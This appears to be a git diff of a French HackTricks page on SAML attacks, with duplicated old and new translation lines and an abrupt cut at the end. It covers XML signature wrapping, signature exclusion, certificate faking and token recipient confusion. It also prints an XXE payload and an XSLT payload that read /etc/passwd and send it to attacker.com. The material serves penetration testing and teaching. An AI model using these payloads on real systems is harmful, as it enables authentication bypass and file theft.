* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,15 +24,15 @@
|
|||
|
||||
## Graphique des attaques
|
||||
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (6).png>)
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
|
||||
## Outil
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) : Un outil qui peut prendre une URL ou une liste d'URL et renvoie l'URL de consommation SAML.
|
||||
|
||||
## Round-trip XML
|
||||
## Aller-retour XML
|
||||
|
||||
En XML, la partie signée du XML est enregistrée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données, mais dans ce scénario, **les données vérifiées et les données originales pourraient ne pas être les mêmes**.
|
||||
Dans XML, la partie signée du XML est sauvegardée en mémoire, puis un encodage/décodage est effectué et la signature est vérifiée. Idéalement, cet encodage/décodage ne devrait pas modifier les données mais, dans ce scénario, **les données vérifiées et les données originales pourraient ne pas être les mêmes**.
|
||||
|
||||
Par exemple, vérifiez le code suivant :
|
||||
```ruby
|
||||
|
@ -39,7 +41,7 @@ require 'rexml/document'
|
|||
doc = REXML::Document.new <<XML
|
||||
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
||||
<X>
|
||||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||||
</X>
|
||||
XML
|
||||
|
||||
|
@ -47,16 +49,16 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
|||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Lancer le programme contre REXML 3.2.4 ou une version antérieure donnerait plutôt la sortie suivante :
|
||||
L'exécution du programme avec REXML 3.2.4 ou une version antérieure donnerait plutôt la sortie suivante :
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
Voici comment REXML a vu le document XML original du programme ci-dessus :
|
||||
Voici comment REXML a vu le document XML original à partir du programme ci-dessus :
|
||||
|
||||
![](<../../.gitbook/assets/image (561).png>)
|
||||
|
||||
Et voici comment il l'a vu après une série d'analyses et de sérialisations :
|
||||
Et voici comment il l'a vu après un cycle de parsing et de sérialisation :
|
||||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
|
@ -65,204 +67,204 @@ Pour plus d'informations sur la vulnérabilité et comment l'exploiter :
|
|||
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## Attaques d'enveloppement de signature XML
|
||||
## Attaques par Enveloppement de Signature XML
|
||||
|
||||
Les documents XML contenant des signatures XML sont généralement traités en deux étapes indépendantes : la validation de la signature et l'invocation de la fonction (logique métier). Si les deux modules ont des vues différentes sur les données, une nouvelle classe de vulnérabilités appelée attaques d'enveloppement de signature XML (XSW) existe.\
|
||||
Dans ces attaques, l'attaquant modifie la structure du message en injectant des éléments forgés qui ne invalident pas la signature XML. Le but de cette altération est de changer le message de telle manière que la logique de l'application et le module de vérification de signature utilisent des parties différentes du message. Par conséquent, le destinataire vérifie la signature XML avec succès, mais la logique de l'application traite l'élément bidon. L'attaquant contourne ainsi la protection d'intégrité et l'authentification d'origine de la signature XML et peut injecter un contenu arbitraire.
|
||||
Les documents XML contenant des Signatures XML sont typiquement **traités en deux étapes indépendantes** : **validation de la signature** et **invocation de fonction** (logique métier). Si les deux modules ont des visions différentes des données, une nouvelle classe de vulnérabilités nommée attaques par Enveloppement de Signature XML (XSW) existe.\
|
||||
Dans ces attaques, l'**adversaire modifie** la **structure du message** en **injectant** des éléments **falsifiés qui n'invalident pas la Signature XML**. Le but de cette altération est de changer le message de telle manière que la **logique de l'application et le module de vérification de la signature utilisent différentes parties du message**. Par conséquent, le récepteur vérifie la Signature XML avec succès mais la logique de l'application traite l'élément frauduleux. L'**attaquant contourne ainsi la protection de l'intégrité** et l'authentification de l'origine de la Signature XML et peut injecter un contenu arbitraire.
|
||||
|
||||
À partir de la demande SAML :
|
||||
Depuis la requête SAML :
|
||||
|
||||
![](<../../.gitbook/assets/image (537).png>)
|
||||
|
||||
### XSW #1
|
||||
|
||||
Un attaquant peut ajouter un nouvel élément racine où se trouve la signature. Par conséquent, lorsque le validateur vérifie l'intégrité de la signature, il peut noter qu'il a vérifié l'intégrité de la réponse -> assertion -> sujet, et il pourrait se confondre avec le nouveau chemin malveillant de réponse -> assertion -> sujet en rouge et utiliser ses données.
|
||||
Un attaquant peut **ajouter un nouvel élément racine où la signature** se trouve. Ainsi, lorsque le validateur vérifie l'intégrité de la signature, il peut noter qu'il a **vérifié** l'**intégrité** de **Response -> Assertion -> Subject**, et il pourrait se confondre avec le chemin **malveillant Response -> Assertion -> Subject** en rouge et utiliser ses données.
|
||||
|
||||
![](<../../.gitbook/assets/image (538).png>)
|
||||
|
||||
### XSW #2
|
||||
|
||||
La différence avec #1 est que le type de signature utilisé est une signature détachée où XSW #1 utilisait une signature enveloppante.\
|
||||
Notez comment la nouvelle structure malveillante est la même qu'auparavant, essayant de confondre la logique métier après que la vérification d'intégrité ait été effectuée.
|
||||
La différence avec le #1 est que le type de Signature utilisé est une **signature détachée** où XSW #1 utilisait une signature enveloppante.\
|
||||
Notez comment la nouvelle structure malveillante est la même qu'avant, essayant de confondre la logique métier après que le contrôle d'intégrité a été effectué.
|
||||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
### XSW #3
|
||||
|
||||
Dans cette attaque, une assertion malveillante est créée au même niveau que l'assertion d'origine pour essayer de confondre la logique métier et utiliser les données malveillantes.
|
||||
Dans cette attaque, une **Assertion malveillante est créée au même niveau** que l'assertion originale pour essayer de confondre la logique métier et utiliser les données malveillantes.
|
||||
|
||||
![](<../../.gitbook/assets/image (540).png>)
|
||||
|
||||
### XSW #4
|
||||
|
||||
XSW #4 est similaire à #3, sauf que dans ce cas, l'assertion d'origine devient un enfant de l'assertion copiée.
|
||||
XSW #4 est similaire à #3, sauf que dans ce cas, l'**Assertion originale devient un enfant** de l'Assertion copiée.
|
||||
|
||||
![](<../../.gitbook/assets/image (541).png>)
|
||||
|
||||
### XSW #5
|
||||
|
||||
Dans XSW #5, la signature et l'assertion d'origine ne sont pas dans l'une des trois configurations standard (enveloppée/enveloppante/détachée). Dans ce cas, l'assertion copiée enveloppe la signature.
|
||||
Dans XSW #5, la Signature et l'Assertion originale ne sont pas dans l'une des trois configurations standard (enveloppée/enveloppante/détachée). Dans ce cas, l'Assertion copiée enveloppe la Signature.
|
||||
|
||||
![](<../../.gitbook/assets/image (542).png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
XSW #6 insère son assertion copiée au même emplacement que les #4 et 5. La pièce intéressante ici est que l'assertion copiée enveloppe la signature, qui à son tour enveloppe l'assertion d'origine.
|
||||
XSW #6 insère son Assertion copiée au même emplacement que les numéros 4 et 5. La particularité ici est que l'Assertion copiée enveloppe la Signature, qui à son tour enveloppe l'Assertion originale.
|
||||
|
||||
![](<../../.gitbook/assets/image (543).png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
XSW #7 insère un élément **Extensions** et ajoute l'assertion copiée en tant qu'enfant. Extensions est un élément XML valide avec une définition de schéma moins restrictive. Les auteurs de ce [document blanc](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) ont développé cette méthode en réponse à la bibliothèque OpenSAML. OpenSAML utilisait une validation de schéma pour comparer correctement l'ID utilisé lors de la validation de signature à l'ID de l'assertion traitée. Les auteurs ont constaté que dans les cas où des assertions copiées avec le même ID que l'assertion d'origine étaient des enfants d'un élément avec une définition de schéma moins restrictive, ils étaient en mesure de contourner cette contre-mesure particulière.
|
||||
XSW #7 insère un élément **Extensions** et ajoute l'**Assertion** copiée comme **enfant**. Extensions est un élément XML valide avec une **définition de schéma moins restrictive**. Les auteurs de ce [livre blanc](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) ont développé cette méthode en réponse à la bibliothèque OpenSAML. OpenSAML utilisait la validation de schéma pour comparer correctement l'ID utilisé pendant la validation de la signature à l'ID de l'Assertion traitée. Les auteurs ont trouvé que dans les cas où des Assertions copiées avec le même ID que l'Assertion originale étaient enfants d'un élément avec une définition de schéma moins restrictive, ils pouvaient contourner cette contre-mesure particulière.
|
||||
|
||||
![](<../../.gitbook/assets/image (544).png>)
|
||||
|
||||
### XSW #8
|
||||
|
||||
XSW #8 utilise un autre élément XML moins restrictif pour effectuer une variation du modèle d'attaque utilisé dans XSW #7. Cette fois-ci, l'assertion d'origine est l'enfant de l'élément moins restrictif au lieu de l'assertion copiée.
|
||||
XSW #8 utilise un autre élément XML **moins restrictif** pour effectuer une variation du modèle d'attaque utilisé dans XSW #7. Cette fois, l'Assertion originale est l'enfant de l'élément moins restrictif au lieu de l'Assertion copiée.
|
||||
|
||||
![](<../../.gitbook/assets/image (545).png>)
|
||||
|
||||
### Outil
|
||||
|
||||
Vous pouvez utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour analyser la demande, appliquer n'importe quelle attaque XSW que vous choisissez et la lancer.
|
||||
Vous pouvez utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour analyser la requête, appliquer l'attaque XSW de votre choix et la lancer.
|
||||
|
||||
![](<../../.gitbook/assets/image (546).png>)
|
||||
|
||||
### Document original
|
||||
### Article Original
|
||||
|
||||
Pour plus d'informations sur cette attaque, lisez le document original à l'adresse [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
Pour plus d'informations sur cette attaque, lisez l'article original sur [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
|
||||
## XXE
|
||||
|
||||
Si vous ne savez pas quelles sont les attaques XXE, veuillez lire la page suivante :
|
||||
Si vous ne savez pas quels types d'attaques sont les XXE, veuillez lire la page suivante :
|
||||
|
||||
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
||||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
En raison du fait que les réponses SAML sont des documents XML compressés et codés en base64, nous pouvons tester les XXE en manipulant le document XML envoyé en tant que réponse SAML. Exemple :
|
||||
Étant donné que les Réponses SAML sont des **documents XML** décompressés et encodés en base64, nous pouvons tester les **XXE** en manipulant le document XML envoyé comme Réponse SAML. Exemple :
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||||
<saml:Issuer>...</saml:Issuer>
|
||||
<ds:Signature ...>
|
||||
<ds:SignedInfo>
|
||||
<ds:CanonicalizationMethod .../>
|
||||
<ds:SignatureMethod .../>
|
||||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||||
<saml:Issuer>...</saml:Issuer>
|
||||
<ds:Signature ...>
|
||||
<ds:SignedInfo>
|
||||
<ds:CanonicalizationMethod .../>
|
||||
<ds:SignatureMethod .../>
|
||||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
### Outil
|
||||
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer la preuve de concept à partir d'une requête SAML afin de tester les vulnérabilités XXE possibles.
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer le POC à partir d'une requête SAML afin de tester d'éventuelles vulnérabilités XXE.
|
||||
|
||||
Consultez également cette présentation : [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Consultez également cette conférence : [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## XSLT via SAML
|
||||
|
||||
Pour plus d'informations sur XSLT, consultez :
|
||||
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
|
||||
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
La transformation de langage de feuille de style extensible (XSLT) est un langage complet de Turing pour transformer des documents XML en d'autres types de documents tels que HTML, JSON ou PDF. Un aspect important à noter ici est que **l'attaque ne nécessite pas de signature valide pour réussir**. La raison en est que **la transformation XSLT se produit avant que la signature numérique ne soit traitée pour vérification**. Fondamentalement, nous avons besoin d'une réponse SAML signée pour effectuer l'attaque, mais la signature peut être auto-signée ou invalide.
|
||||
La transformation de langage de feuilles de style extensible (XSLT) est un langage complet de Turing pour transformer des documents XML en d'autres types de documents tels que HTML, JSON ou PDF. Un aspect important à noter ici est que **l'attaque ne nécessite pas une signature valide pour réussir**. La raison en est que **la transformation XSLT se produit avant que la signature numérique ne soit traitée pour vérification**. En gros, nous avons besoin d'une réponse SAML signée pour réaliser l'attaque, mais la signature peut être auto-signée ou invalide.
|
||||
|
||||
![xslt](https://epi052.gitlab.io/notes-to-self/img/saml/xslt.png)
|
||||
|
||||
Ici, vous pouvez trouver une **preuve de concept** pour vérifier ce type de vulnérabilités. Sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des charges utiles.
|
||||
Ici, vous pouvez trouver un **POC** pour vérifier ce type de vulnérabilités, sur la page hacktricks mentionnée au début de cette section, vous pouvez trouver des payloads.
|
||||
```markup
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
<ds:Transforms>
|
||||
<ds:Transform>
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="doc">
|
||||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</ds:Transform>
|
||||
</ds:Transforms>
|
||||
...
|
||||
...
|
||||
<ds:Transforms>
|
||||
<ds:Transform>
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||
<xsl:template match="doc">
|
||||
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
||||
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
||||
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
||||
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
||||
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
||||
</xsl:template>
|
||||
</xsl:stylesheet>
|
||||
</ds:Transform>
|
||||
</ds:Transforms>
|
||||
...
|
||||
</ds:Signature>
|
||||
```
|
||||
### Outil
|
||||
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer la POC à partir d'une demande SAML afin de tester les vulnérabilités XSLT possibles.
|
||||
Vous pouvez également utiliser l'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) pour générer le POC à partir d'une requête SAML pour tester d'éventuelles vulnérabilités XSLT.
|
||||
|
||||
Consultez également cette présentation : [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
Consultez également cette conférence : [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
## Exclusion de signature XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
## Exclusion de Signature XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
L'exclusion de signature est utilisée pour tester le comportement de l'implémentation SAML lorsqu'il n'y a **pas d'élément Signature**. Lorsqu'un élément Signature est **absent**, l'étape de validation de la signature peut être entièrement ignorée. Si la signature n'est pas validée, alors tout le contenu qui serait normalement signé peut être altéré par un attaquant.
|
||||
L'Exclusion de Signature est utilisée pour tester le comportement de l'implémentation SAML lorsqu'il n'y a **pas d'élément Signature**. Lorsqu'un élément Signature est **absent**, l'étape de **validation de la signature peut être entièrement omise**. Si la Signature n'est pas validée, alors tout contenu qui serait typiquement signé peut être altéré par un attaquant.
|
||||
|
||||
![](<../../.gitbook/assets/image (547).png>)
|
||||
|
||||
### Outil <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
L'exclusion de signature commence par l'interception de la réponse SAML, puis en cliquant sur `Remove Signatures`. Ce faisant, **tous** les éléments de signature sont supprimés.
|
||||
L'exclusion de signature commence par intercepter la réponse SAML puis en cliquant sur `Remove Signatures`. Ce faisant, **tous** les éléments Signature sont supprimés.
|
||||
|
||||
![sig-exclusion](https://epi052.gitlab.io/notes-to-self/img/saml/sig-exclusion.png)
|
||||
|
||||
Avec les signatures supprimées, laissez la demande se poursuivre vers la cible. Si la signature n'est pas requise par le service
|
||||
Avec les signatures supprimées, laissez la requête se poursuivre vers la cible. Si la Signature n'est pas requise par le Service
|
||||
|
||||
## Falsification de certificat <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
## Falsification de Certificat <a href="#certificate-faking" id="certificate-faking"></a>
|
||||
|
||||
La falsification de certificat est le processus de test pour savoir si le fournisseur de services **vérifie qu'un fournisseur d'identité de confiance a signé le message SAML**. La relation de confiance entre SP et IdP est établie et **doit être vérifiée** chaque fois qu'un message SAML est reçu. Cela revient à utiliser un certificat **auto-signé** pour signer la réponse ou l'assertion SAML.
|
||||
La falsification de certificat est le processus de test pour déterminer si le Fournisseur de Service **vérifie qu'un Fournisseur d'Identité de confiance a signé le Message SAML.** La relation de confiance entre le SP et l'IdP est établie et **doit être vérifiée** à chaque réception d'un Message SAML. Cela revient à utiliser un certificat **auto-signé** pour signer la Réponse SAML ou l'Assertion.
|
||||
|
||||
### Outil <a href="#certificate-faking-how-to" id="certificate-faking-how-to"></a>
|
||||
|
||||
L'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) va être utilisée.\
|
||||
L'extension Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) sera utilisée.\
|
||||
Pour falsifier un certificat, commencez par intercepter la réponse SAML.\
|
||||
S'il y a une signature incluse dans la réponse, utilisez le bouton `Send Certificate to SAML Raider Certs`.
|
||||
S'il y a une Signature incluse dans la Réponse, utilisez le bouton `Send Certificate to SAML Raider Certs`.
|
||||
|
||||
![send-cert](https://epi052.gitlab.io/notes-to-self/img/saml/send-cert.png)
|
||||
|
||||
Après avoir envoyé le certificat, nous devrions voir un certificat importé dans l'onglet Certificats de SAML Raider. Une fois là-bas, nous mettons en surbrillance le certificat importé et appuyons sur le bouton `Save and Self-Sign`.
|
||||
Après avoir envoyé le certificat, nous devrions voir un certificat importé dans l'onglet Certificats de SAML Raider. Une fois là, nous mettons en surbrillance le certificat importé et appuyons sur le bouton `Save and Self-Sign`.
|
||||
|
||||
![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png)
|
||||
|
||||
Cela génère un clone auto-signé du certificat d'origine. Il est maintenant temps de revenir à la demande interceptée toujours en attente dans le proxy de Burp. Tout d'abord, sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML. Ensuite, utilisez le bouton `Remove Signatures` pour supprimer toutes les signatures existantes. Enfin, utilisez le bouton **`(Re-)Sign Message`** ou `(`**`Re-)Sign Assertion`** (**celui** qui est **le plus approprié** dans votre situation donnée).
|
||||
Cela génère un clone auto-signé du certificat original. Il est maintenant temps de revenir à la requête interceptée toujours retenue dans le Proxy de burp. Tout d'abord, sélectionnez le nouveau certificat auto-signé dans le menu déroulant Signature XML. Ensuite, utilisez le bouton `Remove Signatures` pour supprimer toutes les signatures existantes. Enfin, utilisez le bouton **`(Re-)Sign Message`** ou `(`**`Re-)Sign Assertion`** (**selon ce qui est** **plus** **approprié** dans votre situation donnée).
|
||||
|
||||
![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png)
|
||||
|
||||
Après avoir signé le message avec le certificat auto-signé, envoyez-le sur son chemin. Si nous nous authentifions, nous savons que nous pouvons signer nos messages SAML. La capacité de signer nos messages SAML signifie que nous pouvons modifier les valeurs de l'assertion et qu'elles seront acceptées par le fournisseur de services.
|
||||
Après avoir signé le message avec le certificat auto-signé, envoyez-le. Si nous nous authentifions, nous savons que nous pouvons signer nos Messages SAML. La capacité de signer nos Messages SAML signifie que nous pouvons modifier les valeurs dans l'Assertion et elles seront acceptées par le Fournisseur de Service.
|
||||
|
||||
## Confusion du destinataire de jeton / Confusion de la cible du fournisseur de services <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
## Confusion du Destinataire du Token / Confusion de la Cible du Fournisseur de Service <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
La confusion du destinataire de jeton / la confusion de la cible du fournisseur de services **teste si le fournisseur de services valide le destinataire**. Cela signifie que **si la réponse était destinée à un autre fournisseur de services**, le **fournisseur de services actuel** devrait le remarquer et **rejeter l'authentification**.\
|
||||
Le champ **Destinataire** est un attribut de l'élément **SubjectConfirmationData**, qui est un enfant de l'élément Subject dans une réponse SAML.
|
||||
La Confusion du Destinataire du Token / Confusion de la Cible du Fournisseur de Service **teste si le Fournisseur de Service valide le Destinataire**. Cela signifie que **si la réponse était destinée à un autre Fournisseur de Service**, le Fournisseur de Service **actuel** devrait le remarquer et **rejeter l'authentification**.\
|
||||
Le champ **Recipient** est un attribut de l'élément **SubjectConfirmationData**, qui est un enfant de l'élément Subject dans une réponse SAML.
|
||||
|
||||
> L'élément SubjectConfirmationData spécifie des données supplémentaires qui permettent de confirmer le sujet ou de limiter les circonstances dans lesquelles l'acte de confirmation du sujet peut avoir lieu. La confirmation du sujet a lieu lorsqu'un fournisseur de services cherche à vérifier la relation entre une entité présentant l'assertion (c'est-à-dire l'entité attestante) et les revendications du sujet de l'assertion.
|
||||
> L'élément SubjectConfirmationData spécifie des données supplémentaires qui permettent de confirmer le sujet ou de contraindre les circonstances dans lesquelles l'acte de confirmation du sujet peut avoir lieu. La confirmation du sujet a lieu lorsqu'une partie se fiant cherche à vérifier la relation entre une entité présentant l'assertion (c'est-à-dire l'entité attestante) et le sujet des revendications de l'assertion.
|
||||
|
||||
L'attribut Destinataire trouvé sur l'**élément SubjectConfirmationData est une URL qui spécifie l'emplacement vers lequel l'assertion doit être livrée**. Si le destinataire est un fournisseur de services différent de celui qui le reçoit, l'assertion ne doit pas être acceptée.
|
||||
L'attribut Recipient trouvé sur l'élément **SubjectConfirmationData est une URL qui spécifie l'emplacement auquel l'Assertion doit être livrée**. Si le Recipient est un Fournisseur de Service différent de celui qui le reçoit, l'Assertion ne devrait pas être acceptée.
|
||||
|
||||
### Comment faire <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
|
||||
|
||||
La confusion du destinataire de jeton SAML (SAML-TRC) a quelques conditions préalables pour que nous puissions tenter l'exploitation. Tout d'abord, nous **devons avoir un compte légitime sur un fournisseur de services**. Deuxièmement, **SP-Target doit accepter les jetons émis par le même fournisseur d'identité qui dessert SP-Legit**.
|
||||
La Confusion du Destinataire du Token SAML (SAML-TRC) a quelques conditions préalables pour que nous puissions tenter l'exploitation. Tout d'abord, nous **devons** avoir un **compte légitime sur un Fournisseur de Service**. Deuxièmement, **SP-Target doit accepter les tokens émis par le même Fournisseur d'Identité qui sert SP-Legit**.
|
||||
|
||||
L'attaque est relativement simple si les conditions sont vraies. Nous nous **authentifions** à **SP-Legit** via le fournisseur d'identité partagé. Nous **interceptons ensuite la réponse SAML sur son chemin de l'IdP à SP-Legit**. Une fois interceptée, nous envoyons la **réponse SAML qui était destinée à SP-Legit à SP-Target à la place**. Si **SP-Target accepte l'assertion** ; nous nous retrouverons connectés avec le même nom de compte que nous avons pour SP-Legit et aurons accès aux ressources correspondantes de SP-Target.
|
||||
L'attaque est relativement simple si les conditions sont vraies. Nous **nous authentifions** auprès de **SP-Legit** via le Fournisseur d'Identité partagé. Nous **interceptons ensuite la réponse SAML en cours de route de l'IdP à SP-Legit**. Une fois interceptée, nous envoyons la **réponse SAML qui était destinée à SP-Legit à SP-Target à la place.** Si **SP-Target accepte l'Assertion** ; nous nous retrouverons connectés avec le même nom de compte que nous avons pour SP-Legit et obtiendrons l'accès aux ressources correspondantes de SP-Target.
|
||||
|
||||
## XSS dans la fonctionnalité de déconnexion
|
||||
|
||||
(Accédez à la [recherche originale ici](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
|
||||
|
||||
Après avoir effectué le brute forcing du répertoire, j'ai trouvé la page suivante :
|
||||
Après avoir effectué le brute forcing de répertoire, j'ai trouvé la page suivante :
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
Il s'agit d'une page de déconnexion, j'ai ouvert le lien ci-dessus et cela m'a redirigé vers la page suivante.
|
||||
C'est une page de déconnexion, j'ai ouvert le lien ci-dessus et cela m'a redirigé vers la page suivante
|
||||
```
|
||||
